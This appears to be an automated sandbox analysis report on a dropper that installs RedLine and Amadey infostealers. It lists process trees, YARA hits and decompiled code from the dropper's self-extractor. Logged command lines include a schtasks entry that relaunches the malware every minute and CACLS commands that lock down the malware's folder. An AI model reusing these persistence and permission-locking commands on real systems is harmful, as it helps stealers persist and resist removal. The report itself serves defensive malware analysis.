MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1536, Parent PID: 3452

General

Target ID:	7
Start time:	21:30:12
Start date:	08/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff673770000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 664, Parent PID: 3452

General

Target ID:	11
Start time:	21:30:20
Start date:	08/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Imagebase:	0x7ff673770000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: nika.exePID: 5352, Parent PID: 5132

General

Target ID:	14
Start time:	21:30:50
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Imagebase:	0xa00000
File size:	11264 bytes
MD5 hash:	7E93BACBBC33E6652E147E7FE07572A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: xriv.exePID: 588, Parent PID: 5152

General

Target ID:	15
Start time:	21:31:06
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Imagebase:	0x11d0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000000.400766948.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4184, Parent PID: 588

General

Target ID:	16
Start time:	21:31:06
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Imagebase:	0x830000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000000.402656135.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.785140671.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5256, Parent PID: 4184

General

Target ID:	17
Start time:	21:31:07
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Imagebase:	0x1330000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4528, Parent PID: 5256

General

Target ID:	18
Start time:	21:31:07
Start date:	08/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6092, Parent PID: 4184

General

Target ID:	19
Start time:	21:31:07
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4552, Parent PID: 6092

General

Target ID:	20
Start time:	21:31:07
Start date:	08/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 64, Parent PID: 6092

General

Target ID:	21
Start time:	21:31:08
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 760, Parent PID: 6092

General

Target ID:	22
Start time:	21:31:08
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:N"
Imagebase:	0x830000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 2056, Parent PID: 6092

General

Target ID:	23
Start time:	21:31:08
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:R" /E
Imagebase:	0x830000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4124, Parent PID: 6092

General

Target ID:	24
Start time:	21:31:08
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 4900, Parent PID: 6092

General

Target ID:	25
Start time:	21:31:09
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:N"
Imagebase:	0x830000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 3924, Parent PID: 6092

General

Target ID:	26
Start time:	21:31:09
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:R" /E
Imagebase:	0x830000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4556, Parent PID: 1080

General

Target ID:	27
Start time:	21:31:10
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x830000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.410254197.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000000.409483823.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3420, Parent PID: 4184

General

Target ID:	28
Start time:	21:31:10
Start date:	08/02/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Imagebase:	0x12d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 1116, Parent PID: 1080

General

Target ID:	31
Start time:	21:32:01
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x830000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.519184660.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000000.518847759.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 3232, Parent PID: 1080

General

Target ID:	35
Start time:	21:33:00
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x830000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000002.646081844.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000000.645377200.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4928, Parent PID: 1080

General

Target ID:	36
Start time:	21:34:00
Start date:	08/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x830000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000024.00000000.773987737.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000024.00000002.774229388.0000000000831000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5152, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27%
Total number of Nodes:	967
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 011D3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E011D3BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x11d9124 =  *0x11d9124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x11d8a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x11d8c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E011D468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E011D44B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x11d9124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E011D1AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E011D6CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E011D3FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x11d8580;
													if( *0x11d8580 != 0) {
														E011D2267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x11d8180;
											if( *0x11d8180 == 0) {
												_t146 = 0x4c7;
												E011D44B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x11d9124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x11d9a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E011D6495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E011D44B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x11d9124 = E011D6285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E011D44B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x11d8a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x11d9a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x11d8a38 & 0x0000ffff;
											_v380 = 0x11d9154;
											_v376 = _t151;
											_v372 = 0x11d91e4;
											_v360 = _t97;
											if( *0x11d8a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x11d9a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x11d8d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x11d9a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x11da288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x11d9124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x11d9a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x11d8a20;
										if( *0x11d8a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E011D202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E011D468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x11d8c42;
									if( *0x11d8c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x11d8a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E011D468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E011D468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E011D1781( &_v276, 0x104, _t130, 0x11d8c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E011D468F(_t130, 0x11d9a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x011d3baa
0x011d3bb0
0x011d3bb7
0x011d3bc0
0x011d3bc2
0x011d3bc9
0x011d3bcb
0x011d3bcf
0x011d3bd3
0x011d3bd9
0x011d3bfd
0x011d3bfd
0x011d3bff
0x011d3c03
0x011d3c03
0x011d3c11
0x011d3c16
0x011d3c19
0x011d3c28
0x00000000
0x00000000
0x011d3c30
0x011d3c39
0x011d3c40
0x011d3d13
0x011d3d15
0x011d3d21
0x011d3d26
0x00000000
0x011d3c4f
0x011d3c56
0x011d3c60
0x011d3c65
0x011d3c77
0x011d3c78
0x011d3c7c
0x011d3c7e
0x011d3c82
0x011d3c82
0x00000000
0x011d3c7c
0x011d3c67
0x011d3c69
0x011d3c6d
0x00000000
0x011d3c58
0x011d3c58
0x011d3c6e
0x011d3c6e
0x011d3c87
0x011d3c89
0x011d3d4d
0x011d3d4f
0x011d3d50
0x011d3d52
0x011d3d9e
0x011d3da8
0x011d3daf
0x011d3db4
0x011d3db6
0x011d3f4d
0x011d3f4d
0x011d3f4f
0x011d3f56
0x011d3f57
0x011d3f58
0x011d3f63
0x011d3f63
0x011d3dbc
0x011d3dc0
0x011d3dc2
0x011d3de6
0x011d3de6
0x011d3de8
0x011d3f0b
0x011d3f0b
0x011d3f0f
0x011d3f13
0x011d3f15
0x011d3f1a
0x011d3f1c
0x011d3f46
0x011d3f47
0x00000000
0x011d3f47
0x011d3f1e
0x011d3f1f
0x011d3f25
0x011d3f26
0x011d3f2a
0x011d3f2d
0x011d3fd9
0x011d3fd9
0x011d3fda
0x011d3fda
0x011d3fe1
0x011d3fe3
0x011d3fe3
0x011d3fe8
0x00000000
0x011d3fe8
0x011d3f33
0x011d3f37
0x00000000
0x011d3f37
0x011d3dee
0x011d3dee
0x011d3df5
0x011d3fad
0x011d3fb9
0x011d3fc2
0x011d3fc8
0x00000000
0x011d3fc8
0x011d3dfb
0x011d3dfd
0x00000000
0x00000000
0x011d3e03
0x011d3e0a
0x00000000
0x00000000
0x011d3e15
0x011d3e17
0x011d3e19
0x011d3f94
0x011d3fa4
0x011d3f7c
0x011d3f80
0x011d3f8b
0x00000000
0x011d3f8b
0x011d3e2c
0x011d3e30
0x011d3e34
0x011d3e36
0x011d3f69
0x011d3f6e
0x011d3f70
0x011d3f76
0x00000000
0x011d3f76
0x011d3e3c
0x011d3e43
0x011d3e47
0x011d3e52
0x011d3e56
0x011d3e5c
0x011d3e61
0x011d3e68
0x011d3e70
0x011d3e74
0x011d3e7c
0x011d3e80
0x011d3e82
0x011d3e82
0x011d3e87
0x011d3e87
0x011d3e8b
0x011d3e91
0x011d3e94
0x011d3e96
0x011d3e96
0x011d3e9b
0x011d3e9b
0x011d3e9f
0x011d3ea2
0x011d3ea4
0x011d3ea4
0x011d3ea9
0x011d3ea9
0x011d3ead
0x011d3eb3
0x011d3eb6
0x011d3eb8
0x011d3eb8
0x011d3ebd
0x011d3ebd
0x011d3ec1
0x011d3ec3
0x011d3ec5
0x011d3ec5
0x011d3eca
0x011d3eca
0x011d3ece
0x011d3ed5
0x011d3ed9
0x011d3ee0
0x011d3ee6
0x011d3eea
0x011d3eec
0x011d3eee
0x011d3ef3
0x011d3ef3
0x011d3ef5
0x011d3efa
0x011d3efb
0x011d3efd
0x011d3f40
0x00000000
0x011d3eff
0x011d3eff
0x011d3f05
0x00000000
0x011d3f05
0x011d3efd
0x011d3dc7
0x011d3dce
0x00000000
0x00000000
0x011d3dd0
0x011d3dd7
0x00000000
0x00000000
0x011d3dd9
0x011d3ddb
0x00000000
0x00000000
0x011d3ddd
0x011d3de1
0x00000000
0x011d3de1
0x011d3d59
0x011d3d65
0x011d3d6a
0x011d3d6c
0x00000000
0x00000000
0x011d3d6e
0x011d3d75
0x00000000
0x00000000
0x011d3d8f
0x011d3d96
0x011d3d98
0x00000000
0x00000000
0x00000000
0x011d3d98
0x011d3c8f
0x011d3c98
0x011d3cf1
0x011d3cf3
0x00000000
0x00000000
0x011d3cfe
0x011d3d11
0x00000000
0x00000000
0x00000000
0x011d3d11
0x011d3c9c
0x011d3ca5
0x011d3ca7
0x00000000
0x00000000
0x011d3cad
0x011d3cb2
0x011d3cb7
0x011d3cc5
0x00000000
0x00000000
0x011d3ce8
0x011d3cec
0x011d3ced
0x011d3ced
0x00000000
0x011d3ce8
0x011d3c9e
0x00000000
0x011d3c9e
0x011d3c56
0x011d3d35
0x011d3d35
0x011d3d3c
0x011d3d48
0x00000000
0x011d3d48
0x011d3c03
0x011d3be2
0x011d3be7
0x011d3bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 011D3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 011D3CDC

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,011D8C42), ref: 011D3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 011D3E26
FreeLibrary.KERNEL32(00000000,?,011D8C42), ref: 011D3EFF
LocalFree.KERNEL32(?,?,?,?,011D8C42), ref: 011D3F1F
FreeLibrary.KERNEL32(00000000,?,011D8C42), ref: 011D3F40
LocalFree.KERNEL32(?,?,?,?,011D8C42), ref: 011D3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,011D8C42), ref: 011D3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,011D8C42), ref: 011D3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,011D8C42), ref: 011D3FC2

Strings

DoInfInstall, xrefs: 011D3E1F, 011D3E24, 011D3F68
RUNPROGRAM, xrefs: 011D3D05
USRQCMD, xrefs: 011D3CAD
REBOOT, xrefs: 011D3BE2
<None>, xrefs: 011D3CC9, 011D3D7D
POSTRUNPROGRAM, xrefs: 011D3D60
ADMQCMD, xrefs: 011D3C9E
